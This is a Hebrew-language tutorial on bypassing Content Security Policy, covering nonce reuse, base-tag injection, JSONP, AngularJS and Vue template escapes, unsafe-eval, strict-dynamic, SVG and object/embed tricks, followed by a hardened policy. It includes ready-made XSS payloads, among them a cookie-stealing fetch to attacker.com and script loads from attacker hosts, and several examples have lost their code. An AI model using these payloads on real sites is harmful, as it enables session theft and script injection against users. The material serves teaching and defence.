עקיפת CSP - CSP Bypass¶
סקירת Content Security Policy¶
מדיניות אבטחת תוכן (CSP) היא מנגנון הגנה בדפדפן שמגביל את המשאבים שדף אינטרנט יכול לטעון ולהריץ. המטרה העיקרית היא למנוע התקפות XSS על ידי הגבלת מקורות הסקריפטים המותרים.
הheader CSP נשלחת כ-HTTP Header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
הנחיות עיקריות - Directives¶
| הנחיה | תפקיד |
|---|---|
default-src |
ברירת מחדל לכל סוגי המשאבים |
script-src |
מקורות מותרים לסקריפטים |
style-src |
מקורות מותרים לסגנונות CSS |
img-src |
מקורות מותרים לתמונות |
connect-src |
מקורות מותרים לחיבורים (XHR, fetch, WebSocket) |
frame-src |
מקורות מותרים ל-iframes |
font-src |
מקורות מותרים לגופנים |
object-src |
מקורות מותרים ל-object, embed, applet |
base-uri |
מגביל את ערכי תגית base |
form-action |
מגביל את היעדים של טפסים |
דיווח CSP - Reporting¶
ניתן להגדיר CSP במצב דיווח בלבד כדי לזהות הפרות בלי לחסום:
הגרסה החדשה משתמשת ב-report-to:
Content-Security-Policy: default-src 'self'; report-to csp-endpoint
Report-To: {"group":"csp-endpoint","max_age":10886400,"endpoints":[{"url":"/csp-report"}]}
הדפדפן שולח דוח JSON עם פרטי ההפרה:
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"original-policy": "default-src 'self'; script-src 'self'"
}
}
הBypass 1: שימוש חוזר ב-Nonce¶
כאשר CSP משתמש ב-nonce סטטי או צפוי, ניתן לנצל אותו:
אם השרת מגדיר nonce קבוע או שניתן לחזות אותו:
<!-- The legitimate script -->
<script nonce="abc123">
console.log("legitimate");
</script>
<!-- Attacker's injection with the same nonce -->
<script nonce="abc123">
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
מצב נוסף - כאשר ה-nonce נחשף בתגובת השרת ואפשר לקרוא אותו דרך injection:
// If we have an injection point that allows reading the DOM
let nonce = document.querySelector('script[nonce]').nonce;
let s = document.createElement('script');
s.nonce = nonce;
s.textContent = 'alert(document.domain)';
document.body.appendChild(s);
הBypass 2: חוסר base-uri - injection תגית base¶
כאשר ה-CSP לא מגביל את base-uri, ניתן להזריק תגית <base> שתשנה את הנתיב הבסיסי לטעינת סקריפטים יחסיים:
שימו לב - אין הגבלה על base-uri. אם הדף טוען סקריפט יחסי:
התוקף מזריק:
עכשיו הדפדפן יטען את הסקריפט מ-https://attacker.com/js/app.js - שרת התוקף.
הBypass 3: נקודות קצה JSONP על דומיינים מורשים¶
כאשר CSP מרשה דומיינים גדולים כמו Google, ניתן לנצל נקודות קצה JSONP:
נקודות קצה JSONP מאפשרות שליטה בתוכן הסקריפט דרך פרמטר callback:
דוגמאות נוספות לנקודות JSONP נפוצות:
<!-- Google -->
<script src="https://www.google.com/complete/search?client=chrome&q=xss&callback=alert(1)//"></script>
<!-- Various domains with JSONP -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
הBypass 4: bypass דרך פריימוורקים - Angular/Vue/React¶
כאשר CDN של פריימוורק מורשה, ניתן לנצל template injection:
הbypass עם AngularJS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>
{{$eval.constructor('alert(document.domain)')()}}
</div>
הbypass עם גרסאות ישנות של Angular:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.min.js"></script>
<div ng-app>
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1}}};alert(1)//')}}
</div>
Vue.js template injection:
<div id="app">{{constructor.constructor('alert(1)')()}}</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script>new Vue({el:'#app'})</script>
הBypass 5: exploit unsafe-eval¶
כאשר script-src כולל 'unsafe-eval':
ניתן להשתמש בכל פונקציה שמבצעת eval:
// direct eval
eval('alert(document.domain)');
// via Function constructor
new Function('alert(document.domain)')();
// via setTimeout/setInterval with a string
setTimeout('alert(document.domain)', 0);
setInterval('alert(document.domain)', 1000);
// via import()
import('data:text/javascript,alert(document.domain)');
הBypass 6: bypass strict-dynamic¶
strict-dynamic מאפשר לסקריפט מאושר (עם nonce) לטעון סקריפטים נוספים:
אם יש injection בתוך סקריפט מאושר:
<script nonce="random123">
// injection point
let userInput = "'; let s=document.createElement('script'); s.src='https://attacker.com/evil.js'; document.body.appendChild(s); //";
</script>
הbypass נוספת - exploit script elements שכבר קיימים בדף:
// if there is an injection that allows controlling the src of a dynamically loaded script
document.querySelector('#dynamic-loader').src = 'https://attacker.com/evil.js';
טכניקת ה-base-uri פועלת גם כאן כי strict-dynamic לא מגן על base-uri:
<base href="https://attacker.com/">
<!-- Scripts loaded dynamically with a relative path will come from the attacker -->
הBypass 7: injection מדיניות דרך CRLF או פרמטרים¶
כאשר ניתן להזריק תווי CRLF לתוך header HTTP:
זה יכול ליצור header CSP חדשה שתדרוס את הקיימת. הinjection פרמטרים למדיניות:
אם השרת מכניס פרמטרים לתוך CSP:
הinjection:
הBypass 8: אחסון סקריפטים על CDN מורשה¶
כאשר CDN שלם מורשה:
התוקף מעלה קובץ זדוני לשירות שמתארח על אותו CDN:
<!-- jsdelivr allows loading files directly from GitHub/npm -->
<script src="https://cdn.jsdelivr.net/gh/attacker/repo@main/evil.js"></script>
דוגמה נוספת עם unpkg:
הBypass 9: שימוש באלמנטים SVG להרצת סקריפטים¶
אלמנטי SVG יכולים להכיל סקריפטים:
הbypass מתקדמת יותר עם SVG ו-use:
<svg>
<use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'><a xlink:href='javascript:alert(1)'><rect width='100' height='100'/></a></svg>#x">
</use>
</svg>
שימוש ב-animate לביצוע JavaScript:
SVG עם foreignObject:
<svg>
<foreignObject width="100" height="100">
<iframe srcdoc="<script>alert(1)</script>">
</iframe>
</foreignObject>
</svg>
הBypass 10: שימוש ב-Object ו-Embed¶
כאשר object-src לא מוגבל:
שימו לב - default-src לא מוגדר ו-object-src לא מוגבל:
<object data="data:text/html,<script>alert(document.domain)</script>" type="text/html"></object>
<embed src="data:text/html,<script>alert(document.domain)</script>" type="text/html">
הexploit Flash (בדפדפנים ישנים):
<object data="https://attacker.com/evil.swf" type="application/x-shockwave-flash">
<param name="AllowScriptAccess" value="always">
</object>
כלי CSP Evaluator¶
כלי של Google לבדיקת חוזק מדיניות CSP:
שימוש בכלי מבוסס שורת פקודה:
# Check the CSP of a site
curl -sI https://example.com | grep -i content-security-policy
# Analyze CSP
python3 -c "
csp = \"default-src 'self'; script-src 'self' https://cdn.jsdelivr.net 'unsafe-eval'\"
directives = csp.split(';')
for d in directives:
d = d.strip()
print(f'[*] {d}')
if 'unsafe-eval' in d:
print(' [!] DANGEROUS: unsafe-eval allows code execution')
if 'unsafe-inline' in d:
print(' [!] DANGEROUS: unsafe-inline allows inline scripts')
if '*' in d:
print(' [!] DANGEROUS: wildcard allows any source')
"
טבלת bypasses מרוכזת¶
| מדיניות | חולשה | הbypass |
|---|---|---|
script-src 'nonce-static' |
nonce קבוע | שימוש חוזר ב-nonce |
ללא base-uri |
אין הגבלה על base | הinjection <base href> |
script-src *.google.com |
JSONP | קריאה ל-JSONP עם callback זדוני |
script-src cdn.jsdelivr.net |
CDN פתוח | העלאת סקריפט זדוני ל-CDN |
script-src 'unsafe-eval' |
eval מותר | eval(), Function(), setTimeout() |
script-src 'strict-dynamic' |
אמון מדורג | יצירת script מתוך סקריפט מאושר |
ללא object-src |
plugins | <object> או <embed> עם data URI |
| CSP דרך HTTP | CRLF injection | הinjection header CSP חדשה |
הגנה - CSP מחוזק¶
מדיניות CSP מחמירה ומומלצת:
Content-Security-Policy:
default-src 'none';
script-src 'nonce-{RANDOM}' 'strict-dynamic';
style-src 'nonce-{RANDOM}';
img-src 'self';
font-src 'self';
connect-src 'self';
frame-src 'none';
object-src 'none';
base-uri 'none';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
report-to csp-endpoint
עקרונות להגנה חזקה:
- שימוש ב-nonce חד-פעמי ואקראי לכל בקשה
- הימנעות מ-
unsafe-inlineו-unsafe-eval - הגבלת
base-uriל-'none'או'self' - הגבלת
object-srcל-'none' - צמצום מקסימלי של דומיינים מורשים
- הפעלת דיווח כדי לזהות ניסיונות bypass
- בדיקה תקופתית עם CSP Evaluator
סיכום¶
הbypass CSP היא אחד התחומים המרכזיים בתקיפות צד לקוח מתקדמות. הבנת המנגנון לעומק מאפשרת לזהות חולשות במדיניות ולנצל אותן. CSP חזק דורש תשומת לב לכל ההנחיות, לא רק ל-script-src. ככל שהמדיניות יותר מצמצמת ומדויקת, כך היא קשה יותר לbypass.